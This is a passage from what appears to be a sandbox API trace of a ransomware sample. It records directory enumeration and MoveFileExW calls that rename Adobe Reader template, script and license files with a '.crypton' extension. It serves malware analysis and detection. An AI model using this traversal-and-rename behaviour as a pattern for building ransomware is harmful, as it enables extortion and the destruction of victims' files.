10.0\\reader\\idtemplates\\sky\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.252] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.259] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd18e6e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd18e6e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.273] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.288] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.295] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd19330e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd19330e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.330] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.367] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.375] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd19f17c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd19f17c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.414] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.462] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd1ad6000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd1ad6000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.998] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0142.334] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0142.380] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd239d120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd239d120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0142.464] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0142.735] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0142.742] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd27090c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd27090c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0143.089] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin.crypton"), dwFlags=0x2) returned 1 [0143.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2a75060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2a75060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0143.102] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2a75060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2a75060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.132] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.149] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2ae7480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2ae7480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.198] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.207] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2b7fa00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2b7fa00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.257] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2bf1e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2bf1e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.295] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.305] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2c64240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2c64240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.331] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.339] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2cb0500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2cb0500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.409] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2d6ebe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2d6ebe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.434] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.464] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2de1000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2de1000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.497] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.514] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2e53420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2e53420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.539] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.548] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd2ec5840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd2ec5840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.585] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.694] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd301c4a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd301c4a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.722] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.731] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3068760, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3068760, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.769] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.776] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd30dab80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd30dab80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.803] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.812] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd314cfa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd314cfa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.873] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.891] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd320b680, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd320b680, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.crypton" (normalized: "c:\\program files 